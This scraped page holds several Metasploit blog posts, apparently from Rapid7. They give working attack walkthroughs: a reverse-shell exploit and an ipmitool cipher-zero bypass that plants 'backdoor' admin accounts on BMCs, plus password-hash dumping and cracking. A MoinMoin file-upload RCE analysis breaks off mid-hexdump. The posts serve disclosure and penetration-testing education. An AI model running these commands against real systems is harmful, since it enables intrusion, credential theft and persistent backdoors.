Skip navigation
All Places > Metasploit > Blog
15 16 17 18 19 Previous Next

Metasploit

638 posts

Weaponizing Local Exploits

This week's update features an exploit for Tavis @taviso Ormandy's vulnerability in the EPATHOBJ::pprFlattenRec function, which lives in win32k.sys on pretty much any Windows machine you're likely to run into. A whole lot of people threw in on this module to make this exploit reliable in Metasploit -- Tavis and progmboy wrote the original C exploit, new contributor @Keebie4e ported it to a Metasploit module, then a whole bunch of people threw in (and continue to do so) to make this exploit more and more stable. You can follow along at home by scrolling through PR #2036. I don't usually point at specific pull requests, but this one offers a pretty neat glimpse into how vulns become modules around here. If you're interested in exploit development, these are the kinds of discussions that are invaluable to follow along with.

 

Oh, and incidentally, there's no patch yet for this particular issue, so it's effectively 0-day. While it's "only" a privilege escalation, penetration testers pretty routinely need some way to elevate from a local user privilege level to local system (and from there, it's but a hop skip and jump away from Domain Administrator, thanks to the miracle of Mimikatz credential dumping.

 

Further, consider the power of an exploit like this when combine with, say, the latest Java Exploit from Adam Gowdiak and Matthias Kasier. What this means is that any malicious web server out on the Internet has a pretty straight shot at a whole lot of internal Windows networks.

 

That's pretty bad. Many, many domain administrators are now at the mercy of the next (secret, unpublished) client-side exploit. Hopefully, with the publication of this vulnerability, defenders (and Microsoft) will come up with a decent solution sooner rather than later. In the meantime, it seems like offensive security has the upper hand at the moment. Now might be a good time to check your defense in depth strategies...

 

New Modules

We've got five new modules this week, including the two referenced above. What can I say, the security community tends to get a little quiet in early July, as everyone finalizes their Bsides / BlackHat / DefCon material.

 

 

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Introduction

 

Dan Farmer is known for his groundbreaking work on security tools and processes. Over the last year, Dan has identified some serious security issues with the Intelligent Platform Management Interface (IPMI) protocol and the Baseboard Management Controllers (BMCs) that speak it. This post goes into detail on how to identify and test for each of the issues that Dan identified, using a handful of free security tools.  If you are looking for a quick overview of the issues discussed in this post, please review the FAQ. Dan has also put together an excellent best practices document that is a must-read for anyone working on the remediation side.

 

 

 

BMCs and the IPMI Protocol

 

Baseboard Management Controllers (BMCs) are a type of embedded computer used to provide out-of-band monitoring for desktops and servers. These products are sold under many brand names, including HP iLO, Dell DRAC, Sun ILOM, Fujitsu iRMC, IBM IMM, and Supermicro IPMI. BMCs are often implemented as embedded ARM systems, running Linux and connected directly to the southbridge of the host system's motherboard. Network access is obtained either via 'sideband' access to an existing network card or through a dedicated interface. In addition to being built-in to various motherboards, BMCs are also sold as pluggable modules and PCI cards. Nearly all servers and workstations ship with or support some form of BMC. The Intelligent Platform Management Interface (IPMI) is a collection of specifications that define communication protocols for talking both across a local bus as well as the network. This specification is managed by Intel and currently comes in two flavors, version 1.5 and version 2.0. The primary goal of Dan Farmer's research was on the security of the IPMI network protocol that uses UDP port 623. A diagram of the how the BMC interfaces with the system is shown below (CC-SA-3.0 (C) U. Vezzani).

 

IPMI-Block-Diagram.png

 

 

 

 

High Value Targets

 

BMCs are often under appreciated and overlooked during security audits. Like many embedded devices, they tend to respond slowly to tests and have a few non-standard network services in addition to web-based management. The difference between a BMC and say, a printer, is what you get access to once it has been successfully compromised. The BMC has direct access to the motherboard of its host system. This provides the ability to monitor, reboot, and reinstall the host server, with many systems providing interactive KVM access and support for virtual media. In essence, access to the BMC is effectively physical access to the host system. If an attacker can not only login to the BMC, but gain root access to it as well, they may be able to directly access the i2c bus and Super I/O chip of the host system. Bad news indeed.

 

 

 

Network Services

 

The network services offered by major brands of BMCs different widely by vendor, but here are some commonalities. Most BMCs expose some form of web-based management, a command-line interface such as Telnet or Secure Shell, and the IPMI network protocol on port 623 (UDP and sometimes TCP). The example below shows the output of Nmap -sSV -p1-65535 scan against a Supermicro BMC in its default configuration.

 

Supermicro IPMI (firmware SMT_X9_218)

 

PORT      STATE    SERVICE  VERSION

22/tcp    open    ssh      Dropbear sshd 2012.55 (protocol 2.0)

80/tcp    open    http      lighttpd

443/tcp  open    ssl/http  lighttpd

623/tcp  open    ipmi-rmcp SuperMicro IPMI RMCP

5900/tcp  open    vnc      VNC (protocol 3.8)

5985/tcp  open    wsman?

49152/tcp open    upnp      Intel UPnP reference SDK 1.3.1 (Linux 2.6.17.WB_WPCM450.1.3; UPnP 1.0)

 

In addition to the TCP ports listed, this device also responds on UDP ports 623 (IPMI) and 1900 (UPnP SSDP).

 

 

 

Network Discovery

 

A single-packet probe to the UDP IPMI service on port 623 is is an especially fast way of discovering BMCs on the network. The following examples demonstrates the use of the Metasploit Framework's ipmi_version module to identify local BMCs. The reply indicates whether the device supports version 1.5 or 2.0 and what forms of authentication are supported.

 

$ msfconsole

 

      =[ metasploit v4.7.0-dev [core:4.7 api:1.0]

+ -- --=[ 1119 exploits - 638 auxiliary - 179 post

+ -- --=[ 309 payloads - 30 encoders - 8 nops

 

msf> use  auxiliary/scanner/ipmi/ipmi_version
msf auxiliary(ipmi_version) > set RHOSTS 10.0.0.0/24

msf auxiliary(ipmi_version) > run

[*] Sending IPMI requests to 10.0.0.0->10.0.0.255 (256 hosts)

[*] 10.0.0.7:623 IPMI-2.0 OEMID:21317 UserAuth(auth_msg, auth_user, non_null_user, null_user) PassAuth(password, md5, md2) Level(1.5, 2.0)

[*] 10.0.0.4:623 IPMI-2.0 OEMID:21317 UserAuth(auth_msg, auth_user, non_null_user, null_user) PassAuth(password, md5, md2) Level(1.5, 2.0)

[*] 10.0.0.135:623 IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)

[*] 10.0.0.249:623 IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)

[*] 10.0.0.252:623 IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)

 

 

 

 

Usernames & Passwords

 

As most penetration testers know, the easiest way into most network devices is through default passwords. BMCs are no different, and the table below shows the default username and password combinations for the most popular BMC brands sold today. Note that only HP randomizes the password during the manufacturing process.

 

Product NameDefault UsernameDefault Password
HP Integrated Lights Out (iLO)Administrator<factory randomized 8-character string>
Dell Remote Access Card (iDRAC, DRAC)rootcalvin
IBM Integrated Management Module (IMM)USERIDPASSW0RD (with a zero)
Fujitsu Integrated Remote Management Controlleradminadmin
Supermicro IPMI (2.0)ADMINADMIN
Oracle/Sun Integrated Lights Out Manager (ILOM)rootchangeme
ASUS iKVM BMCadminadmin

 

 

 

 

Vulnerability Exposure

 

This section documents the various vulnerabilities identified by Dan Farmer's research into IPMI and some additional findings that came to light during further investigation.

 

 

IPMI Authentication Bypass via Cipher 0

 

Dan Farmer identified a serious failing of the IPMI 2.0 specification, namely that cipher type 0, an indicator that the client wants to use clear-text authentication, actually allows access with any password. Cipher 0 issues were identified in HP, Dell, and Supermicro BMCs, with the issue likely encompassing all IPMI 2.0 implementations. It is easy to identify systems that have cipher 0 enabled using the ipmi_cipher_zero module in the Metasploit Framework.

 

$ msfconsole

 

      =[ metasploit v4.7.0-dev [core:4.7 api:1.0]

+ -- --=[ 1119 exploits - 638 auxiliary - 179 post

+ -- --=[ 309 payloads - 30 encoders - 8 nops

 

msf> use auxiliary/scanner/ipmi/ipmi_cipher_zero

msf auxiliary(ipmi_cipher_zero) > set RHOSTS 10.0.0.0/24

msf auxiliary(ipmi_cipher_zero) > run

[*] Sending IPMI requests to 10.0.0.0->10.0.0.255 (256 hosts)

[+] 10.0.0.99:623 VULNERABLE: Accepted a session open request for cipher zero

[+] 10.0.0.132:623 VULNERABLE: Accepted a session open request for cipher zero

[+] 10.0.0.141:623 VULNERABLE: Accepted a session open request for cipher zero

[+] 10.0.0.153:623 VULNERABLE: Accepted a session open request for cipher zero

 

 

The following example demonstrates how to exploit the cipher 0 issue using the standard "ipmitool" command-line interface. This utility is available on most platforms and be installed on Debian-based Linux distributions by running "sudo apt-get install ipmitool". Notice how the flag for specifying cipher 0 (-C 0) allows a previously disallowed action to execute. For this attack to work a valid username must be identified, which is almost never an issue. Once a backdoor account has been created, any number of attacks on the BMC and its host become possible.

 

$ ipmitool -I lanplus -H 10.0.0.99 -U Administrator -P FluffyWabbit user list

Error: Unable to establish IPMI v2 / RMCP+ session

Get User Access command failed (channel 14, user 1)

 

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit

1  Administrator    true    false      true      ADMINISTRATOR

2  (Empty User)    true    false      false      NO ACCESS

 

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set name 2 backdoor

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set password 2 password

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user priv 2 4

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user enable 2

 

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit

1  Administrator    true    false      true      ADMINISTRATOR

2  backdoor              true    false      true      ADMINISTRATOR

 

$ ssh backdoor@10.0.0.99

backdoor@10.0.0.99's password: password

 

User:backdoor logged-in to ILOMXQ3469216(10.0.0.99)

iLO 4 Advanced Evaluation 1.13 at  Nov 08 2012

Server Name: host is unnamed

Server Power: On

 

</>hpiLO->

 

 

 

IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval

 

More recently, Dan Farmer identified an even bigger issue with the IPMI 2.0 specification.  In short, the authentication process for IPMI 2.0 mandates that the server send a salted SHA1 or MD5 hash of the requested user's password to the client, prior to the client authenticating. You heard that right - the BMC will tell you the password hash for any valid user account you request. This password hash can broken using an offline bruteforce or dictionary attack. Since this issue is a key part of the IPMI specification, there is no easy path to fix the problem, short of isolating all BMCs into a separate network. The ipmi_dumphashes module in the Metasploit Framework can make short work of most BMCs.

 

$ msfconsole

 

      =[ metasploit v4.7.0-dev [core:4.7 api:1.0]

+ -- --=[ 1119 exploits - 638 auxiliary - 179 post

+ -- --=[ 309 payloads - 30 encoders - 8 nops

 

msf> use auxiliary/scanner/ipmi/ipmi_dumphashes

msf auxiliary(ipmi_dumphashes) > set RHOSTS 10.0.0.0/24
msf auxiliary(ipmi_dumphashes) > set THREADS 256

msf auxiliary(ipmi_dumphashes) > run

 

[+] 10.0.0.59 root:266ead5921000000....000000000000000000000000000000001404726f6f74:eaf2bd6a5 3ee18e3b2dfa36cc368ef3a4af18e8b

[+] 10.0.0.59 Hash for user 'root' matches password 'calvin'

[+] 10.0.0.59 :408ee18714000000d9cc....000000000000000000000000000000001400:93503c1b7af26abee 34904f54f26e64d580c050e

[+] 10.0.0.59 Hash for user '' matches password 'admin'

 

In the example above, the module was able to identify two valid user accounts (root and blank), retrieve the hmac-sha1 password hashes for these accounts, and automatically crack them using an internal wordlist. If a database is connected, Metasploit will automatically store the hashed and clear-text version of these credentials for future use. If a user's password is not found in the local dictionary of common passwords, an external password cracking program can be employed to quickly brute force possible options. The example below demonstrates how to write out John the Ripper and Hashcat compatible files.

 

msf auxiliary(ipmi_dumphashes) > set RHOSTS 10.0.1.0/24
msf auxiliary(ipmi_dumphashes) > set THREADS 256

msf auxiliary(ipmi_dumphashes) > set OUTPUT_JOHN_FILE out.john

msf auxiliary(ipmi_dumphashes) > set OUTPUT_HASHCAT_FILE out.hashcat

msf auxiliary(ipmi_dumphashes) > run

 

[+] 10.0.1.100 root:ee33c2e02700000....000000000000000000000000000000001404726f6f74:8c576f6532 356cc342591204f41cc4eab7da6e8a




Thanks to atom, the main developer of Hashcat, version 0.46 or above now supports cracking RAKP hashes. It is worth noting that atom added support for RAKP within 2 hours of receiving the feature request! In the example below, we use hashcat with RAKP mode (7300) to brute force all four-character passwords within a few seconds.

 

./hashcat-cli64.bin --username -m 7300 out.hashcat -a 3 ?a?a?a?a

Initializing hashcat v0.46 by atom with 8 threads and 32mb segment-size...

 

Added hashes from file out.hashcat: 1 (1 salts)

[ ... ]

Input.Mode: Mask (?a?a?a)

Index.....: 0/1 (segment), 857375 (words), 0 (bytes)

Recovered.: 0/1 hashes, 0/1 salts

Speed/sec.: - plains, - words

Progress..: 857375/857375 (100.00%)

Running...: --:--:--:--

Estimated.: --:--:--:--

 

ee33c2e0270000....000000000000000000000000000000001404726f6f74:8c576f6532356cc34 2591204f41cc4eab7da6e8a:taco

 

All hashes have been recovered

 

 

Thanks to Dhiru Kholia, John the Ripper's "bleeding-jumbo" branch now supports cracking RAKP hashes as well. Make sure you have git installed and build John with the following steps.

 

$ git clone https://github.com/magnumripper/JohnTheRipper.git

$ cd JohnTheRipper

$ git checkout bleeding-jumbo

$ cd src

$ make linux-x86-64

$ cd ../run

$ ./john --fork=8 --incremental:alpha --format=rakp ./out.john


Loaded 1 password hash (RAKP [IPMI 2.0 RAKP (RMCP+) HMAC-SHA1 32/64 OpenSSL])

Press 'q' or Ctrl-C to abort, almost any other key for status

taco            (10.0.1.100 root)

 

 

 

IPMI Anonymous Authentication

 

In addition to the authentication problems above, Dan Farmer noted that many BMCs ship with "anonymous" access enabled by default. This is configured by setting the username of the first user account to a null string and setting a null password to match. The ipmi_dumphashes module will identify and dump the password hashes (including blank passwords) for null user accounts. This account can be difficult to use on its own, but we can leverage ipmitool to reset the password of a named user account and leverage that account for access to other services.

 

$ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit

1                    false  false      true      ADMINISTRATOR

2  root            false  false      true      ADMINISTRATOR

3  admin            true    true      true      ADMINISTRATOR


$ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 password


At this point we can login to the BMC over SSH using the new password for the root user account.


$ ssh root@10.0.0.97

root@10.0.0.97's password: password


>> SMASH-CLP Console v1.09 <<

->

 

 

 

 

Supermicro IPMI UPnP Vulnerability

 

Supermicro includes a UPnP SSDP listener running on UDP port 1900 on the IPMI firmware of many of its recent motherboards. On versions prior to SMT_X9_218 this service was running the Intel SDK for UPnP Devices, version 1.3.1. This version is vulnerable to the issues Rapid7 disclosed in February of 2013, and an exploit target for this platform is part of the Metasploit Framework. The interesting thing about this attack is that it yields complete root access to the BMC, something that is otherwise difficult to obtain. Keep in mind than an attacker with administrative access, either over the network or from a root shell on the host system, can downgrade the firmware of a Supermicro BMC to a vulnerable version and then exploit it. Once root access is obtained, it is possible to read cleartext credentials from the file system, install additional software, and integrate permanent backdoors into the BMC that would survive a full reinstall of the host's operating system.

 

$ msfconsole

 

      =[ metasploit v4.7.0-dev [core:4.7 api:1.0]

+ -- --=[ 1119 exploits - 638 auxiliary - 179 post

+ -- --=[ 309 payloads - 30 encoders - 8 nops

 

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

msf exploit(libupnp_ssdp_overflow) > set RHOST 10.0.0.98

msf exploit(libupnp_ssdp_overflow) > set LHOST 10.0.0.55

msf exploit(libupnp_ssdp_overflow) > set PAYLOAD cmd/unix/reverse_openssl

msf exploit(libupnp_ssdp_overflow) > exploit

 

[*] Started reverse double handler

[*] Exploiting 10.0.0.98 with target 'Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1' with 2106 bytes to port 1900...

[+] Sending payload of 182 bytes to 10.0.0.98:4259...

[*] Command shell session 1 opened (10.0.0.55:4444 -> 10.0.0.98:3688) at 2013-06-24 13:35:24 -0500

[*] Shutting down payload stager listener...

 

uname -a

Linux (none) 2.6.17.WB_WPCM450.1.3 #1 Wed Nov 14 10:33:10 PST 2012 armv5tejl unknown

 

 

 

Supermicro IPMI Clear-text Passwords

 

The IPMI 2.0 specification mandates that the BMC respond to HMAC-based authentication methods such as SHA1 and MD5. This authentication process has some serious weaknesses, as demonstrated in previous examples, but also requires access to the clear-text password in order to calculate the authentication hash. This means that the BMC must store a clear-text version of all configured user passwords somewhere in non-volatile storage. In the case of Supermicro, this location changes between firmware versions, but is either /nv/PSBlock or /nv/PSStore. The passwords are scattered between various binary blobs, but easy to pick out as they always follow the username. This is a serious issue for any organization that uses shared passwords between BMCs or even different types of devices.

 

$ cat /nv/PSBlock

  admin                      ADMINpassword^TT                    rootOtherPassword!



 

 

 

Exploiting the Host from the BMC

 

 

Once administrative access to the BMC is obtained, there are a number of methods available that can be used to gain access to the host operating system. The most direct path is to abuse the BMCs KVM functionality and reboot the host to a root shell (init=/bin/sh in GRUB) or specify a rescue disk as a virtual CD-ROM and boot to that. Once raw access to the host's disk is obtained, it is trivial to introduce a backdoor, copy data from the hard drive, or generally do anything needing doing as part of the security assessment. The big downside, of course, is that the host has to be rebooted to use this method. Gaining access to the host running is much trickier and depends on what the host is running. If the physical console of the host is left logged in, it becomes trivial to hijack this using the built-in KVM functionality. The same applies to serial consoles - if the serial port is connected to an authenticated session, the BMC may allow this port to be hijacked using the ipmitool interface for serial-over-LAN (sol). One path that still needs more research is abusing access to shared hardware, such as the i2c bus and the Super I/O chip.

 

ipmi_bios.pngipmi_boot.pngipmi_root.png

 

 

Exploiting the BMC from the Host

 

In situations where a host with a BMC has been compromised, the local interface to the BMC can be used to introduce a backdoor user account, and from there establish a permanent foothold on the server. This attack requires the ipmitool to be installed on the host and driver support to be enabled for the BMC. The example below demonstrates how the local interface on the host, which does not require authentication, can be used to inject a new user account into the BMC. This method is universal across Linux, Windows, BSD, and even DOS targets.

 

 

root@rcon:~# ipmitool user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit

2  ADMIN            true    false      false      Unknown (0x00)

3  root            true    false      false      Unknown (0x00)

 

root@rcon:~# ipmitool user set name 4 backdoor

root@rcon:~# ipmitool user set password 4 backdoor

root@rcon:~# ipmitool user priv 4 4


root@rcon:~# ipmitool user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit

2  ADMIN            true    false      false      Unknown (0x00)

3  root            true    false      false      Unknown (0x00)

4  backdoor        true    false      true      ADMINISTRATOR

 

 

 

Summary

 

The issues covered in this post were uncovered in a relatively short amount of time and have barely scratched the surface of possibilities. In addition to vulnerabilities in the IPMI protocol itself, most BMCs seem to suffer from issues common across all embedded devices, namely default passwords, outdated open source software, and, in some cases, backdoor accounts and static encryption keys. The world of BMCs is a mess that is not likely to get better anytime soon, and we need to be crystal clear about the risk these devices pose to our networks.

Chaining Zpanel Exploits for Remote Root

 

ZPanel is a fun, open source web hosting control panel, written in code auditors' favorite language, PHP. For bonus points, ZPanel likes to do some things as root, so it installs a nifty little setuid binary called 'zsudo' that does pretty much what you might expect from a utility of that name -- without authentication. In the wake of some harsh words on reddit and elsewhere in regard to the character of ZPanel's development team, the project came to the attention of some exploit developers with predictable results; now for the low, low price of using two exploits (one to get shell, and one to abuse the zsudo silliness) you can get remote root from a low-priv ZPanel user account.

 

This update also includes an exploit for a vulnerability in MoinMoin, a wiki written in Python, which was used in the wild against wiki.python.org and wiki.debian.org not too long ago. Juan explained this bug in more detail earlier.  Interestingly, MoinMoin has support for FreeBSD, for which this update also includes a local privilege escalation module taking advantage of the fun new mmap vulnerability.

 

Moral of this story: if you're owned, assume you're completely owned. And if you're doing the owning, you get to do the root dance.

 

New Modules

Exploit modules

Auxiliary and post modules

 

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Recently we've added to Metasploit a module for CVE-2012-6081, an arbitrary file upload vulnerability affecting to the version 1.9.5 (patched!) of the MoinMoin Wiki software. In this blog entry we would like to share both the vulnerability details and how this one was converted in RCE (exploited in the wild!) because the exploitation is quite interesting, where several details must have into account to successful exploit it in a safe manner.

 

Interestingly this vulnerability was exploited on the wild on July 2012. Details about the "in the wild" exploit were disclosed at the end of 2012 / beginning of 2013 by sites such as wiki.python.org and wiki.debian.org.

 

pythonwiki.pngdebianwiki.png

 

The vulnerability was patched on 29 Dec 2012. The patch indeeds solves two exploit paths for the same vulnerability, which is a lack of sanitation on user supplied data before creating a "ContainerItem" (more about that later):

 

patch1.png

 

First of all we're going to review the vulnerable code for the twikidraw.py case, as exploited in the wild. Come on to start with the execution of a "twikidraw" action:

 

  • User supplied data is used to populate the target variable:

 

def execute(pagename, request):
    target = request.values.get('target')


















 

  • A TwikiDraw instance is created:

 

    twd = TwikiDraw(request, pagename, target)


















 

  • When "do" user supplied parameter is "save" the save() method from the instance is called:

 

    if do == 'save':
        msg = twd.save()


















 

  • Come on to see how TwikiDraw saves. First of all it checks which the request comes with a good ticket

 

    def save(self):
        request = self.request
        _ = request.getText


        if not wikiutil.checkTicket(request, request.args.get('ticket', '')):
            return _('Please use the interactive user interface to use action %(actionname)s!') % {'actionname': 'twikidraw.save' }


















 

  • Check which the user has write permissions on the page and the target is indeed not empty:

 

        pagename = self.pagename
        target = self.target
        if not request.user.may.write(pagename):
            return _('You are not allowed to save a drawing on this page.')
        if not target:
            return _("Empty target name given.")


















 

It is an interesting detail because in order to exploit access with write permissions to a WikiPage is needed. By default the Metasploit module will use the WikiSandBox page, writable without authentication on the default install. But both the WikiPage and credentials can be configured through module parameters.

 

  • Populate file_upload and filename variables from user supplied data:

 

        file_upload = request.files.get('filepath')
        print '[*] file_upload: %s' % file_upload
            # This might happen when trying to upload file names
            # with non-ascii characters on Safari.
            return _("No file content. Delete non ASCII characters from the file name and try again.")


        filename = request.form['filename']


















 

  • Some variables are populated from the filename value, the most interesting interesting one is "ext" because will be used later on exploitation (tries to be the extension of the filename):

 

        basepath, basename = os.path.split(filename)
        basename, ext = os.path.splitext(basename)


















 

  • An "AttachFile.ContainerItem" instance is created from the "target" value (user supplied value and not sanitized!).

 

ci = AttachFile.ContainerItem(request, pagename, target)


















 

  • Finally user supplied data is put into the ContainerItem. User controlled data ("ext" which comes from "filename" and "file_upload" which comes from "file_path") can be used to influence all the parameters of the "ci.put()" call:

 

        filecontent = file_upload.stream
        content_length = None
        if ext == '.draw': # TWikiDraw POSTs this first
            // Out of scope

        elif ext == '.map':
            // Out of scope
        else:
            #content_length = file_upload.content_length
            # XXX gives -1 for wsgiref  If this is fixed, we could use the file obj,
            # without reading it into memory completely:
            filecontent = filecontent.read()

        ci.put('drawing' + ext, filecontent, content_length)


















 

  • Now time to look into the "AttachFile.ContainerItem" class. From the documentation can be spotted which a ContainerItem is, indeed, a TAR file:

 

class ContainerItem:
    """ A storage container (multiple objects in 1 tarfile) """


















 

  • When an instance is created (remember which the "containername" parameter is full controlled by the user, since comes from the "target" request parameter):

 

    def __init__(self, request, pagename, containername):
        self.request = request
        self.pagename = pagename
        self.containername = containername
        self.container_filename = getFilename(request, pagename, containername)


















 

  • on "getFilename()" is where the traversal directory abuse can occurs at the moment of calling os.path.join() since the filename value is user controlled and traversal sequences are not sanitized (it is what the patch tries to solve):

 

def getFilename(request, pagename, filename):
    """ make complete pathfilename of file "name" attached to some page "pagename"
        @param request: request object
        @param pagename: name of page where the file is attached to (unicode)
        @param filename: filename of attached file (unicode)
        @rtype: string (in config.charset encoding)
        @return: complete path/filename of attached file
    """
    if isinstance(filename, unicode):
        filename = filename.encode(config.charset)
    return os.path.join(getAttachDir(request, pagename, create=1), filename)


















 

  • Later when twikidraw put() contents on the container, the user can manipule the specified "target" file such as a tar. And control a new entry to wrote into it, having control of the member (name of the entry) and the content, with the "filename" and the "filepath" values from the HTTP request respectively:

 

    def put(self, member, content, content_length=None):
        """ save data into a container's member """
        tf = tarfile.TarFile(self.container_filename, mode='a')
        if isinstance(member, unicode):
            member = member.encode('utf-8')
        ti = tarfile.TarInfo(member)
        if isinstance(content, str):
            if content_length is None:
                content_length = len(content)
            content = StringIO(content) # we need a file obj
        elif not hasattr(content, 'read'):
            logging.error("unsupported content object: %r" % content)
            raise
        assert content_length >= 0  # we don't want -1 interpreted as 4G-1
        ti.size = content_length
        tf.addfile(ti, content)
        tf.close()


















 

So, this vulnerability gives to the user the power to write an arbitrary TAR file on the filesystem, and partially control the file content (the entry name and its contents), always with the privileges of the web (app) server running the MoinMoin app. The question which remains is how to convert a remote arbitrary TAR file creation into a remote code execution. And the answer is on the exploit, which was finally disclosed on May 2013:

 

original_exploit.png

 

What MoinMelt authors noticed is which a TAR file is just a container (and files are not compressed neither encrypted, etc. by default). Come on to see an example. There is a very simple python file:

 

$ cat MySpecialHelloWorldForTest.py

print 'Hello Contents'

 

If we tar it, the result is something like that:

 

$ tar cf Hello.tar MySpecialHelloWorldForTest.py

$ hexdump -C Hello.tar

00000000  4d 79 53 70 65 63 69 61  6c 48 65 6c 6c 6f 57 6f  |MySpecialHelloWo|

00000010  72 6c 64 46 6f 72 54 65  73 74 2e 70 79 00 00 00  |rldForTest.py...|

00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000060  00 00 00 00 30 30 30 36  34 34 20 00 30 30 30 37  |....000644 .0007|

00000070  36 35 20 00 30 30 30 30  32 34 20 00 30 30 30 30  |65 .000024 .0000|

00000080  30 30 30 30 30 32 37 20  31 32 31 36 30 31 30 37  |0000027 12160107|

00000090  33 34 33 20 30 31 36 37  31 35 00 20 30 00 00 00  |343 016715. 0...|

000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000100  00 75 73 74 61 72 00 30  30 6a 75 61 6e 00 00 00  |.ustar.00juan...|

00000110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

00000120  00 00 00 00 00 00 00 00  00 73 74 61 66 66 00 00  |.........staff..|

00000130  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

00000140  00 00 00 00 00 00 00 00  00 30 30 30 30 30 30 20  |.........000000 |

00000150  00 30 30 30 30 30 30 20  00 00 00 00 00 00 00 00  |.000000 ........|

00000160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000200  70 72 69 6e 74 20 27 48  65 6c 6c 6f 20 43 6f 6e  |print 'Hello Con|

00000210  74 65 6e 74 73 27 0a 00  00 00 00 00 00 00 00 00  |tents'..........|

00000220  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000800

 

Interestingly the original file name is included at offset 0 and original contents are available at offset 0x200. As the reader can imagine this tar wouldn't be interpret as python:


Traceback (most recent call last):

  File "Hello.tar", line 1, in <module>

    MySpecialHelloWorldForTest.py

NameError: name 'MySpecialHelloWorldForTest' is not defined

 

But we should remember which the vulnerability allows us to control also the entry name, so if we modify the resulting tar to look like this one:

 

$ hexdump -C Hello3.tar

00000000  70 72 69 6e 74 20 27 69  74 73 20 66 6f 72 20 74  |print 'its for t|

00000010  65 73 74 20 70 75 72 70  6f 73 65 73 27 00 00 00  |est purposes'...|

00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000060  00 00 00 00 30 30 30 36  34 34 20 00 30 30 30 37  |....000644 .0007|

00000070  36 35 20 00 30 30 30 30  32 34 20 00 30 30 30 30  |65 .000024 .0000|

00000080  30 30 30 30 30 32 37 20  31 32 31 36 30 31 30 37  |0000027 12160107|

00000090  33 34 33 20 30 31 36 37  31 35 00 20 30 00 00 00  |343 016715. 0...|

000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000100  00 75 73 74 61 72 00 30  30 6a 75 61 6e 00 00 00  |.ustar.00juan...|

00000110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

00000120  00 00 00 00 00 00 00 00  00 73 74 61 66 66 00 00  |.........staff..|

00000130  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

00000140  00 00 00 00 00 00 00 00  00 30 30 30 30 30 30 20  |.........000000 |

00000150  00 30 30 30 30 30 30 20  00 00 00 00 00 00 00 00  |.000000 ........|

00000160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000200  70 72 69 6e 74 20 27 48  65 6c 6c 6f 20 43 6f 6e  |print 'Hello Con|

00000210  74 65 6e 74 73 27 0a 00  00 00 00 00 00 00 00 00  |tents'..........|

00000220  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000800

 

And try to execute it as python, the magic occurs:

 

$ python Hello3.tar

its for test purposes

 

So with the proposed primitives python remote code execution is indeed possible! Looking at the resulting TAR created by the original MoinMelt two pieces of python can be spotted:

 

00000000  64 72 61 77 69 6e 67 2e  72 20 69 66 28 29 65 6c  |drawing.r if()el|

00000010  73 65 5b 5d 0a 65 78 65  63 20 65 76 61 6c 28 22  |se[].exec eval("|

00000020  6f 70 65 6e 28 5f 5f 66  69 6c 65 5f 5f 29 5c 35  |open(__file__)\5|

00000030  36 72 65 61 64 28 29 5c  35 36 73 70 6c 69 74 28  |6read()\56split(|

00000040  27 5b 4d 41 52 4b 5d 27  29 5b 2d 32 5d 5c 35 36  |'[MARK]')[-2]\56|

00000050  73 74 72 69 70 28 27 5c  5c 30 27 29 22 29 00 00  |strip('\\0')")..|

00000060  00 00 00 00 30 30 30 30  36 36 36 00 30 30 30 30  |....0000666.0000|

00000070  30 30 30 00 30 30 30 30  30 30 30 00 30 30 30 30  |000.0000000.0000|

00000080  30 30 30 33 34 32 35 00  30 30 30 30 30 30 30 30  |0003425.00000000|

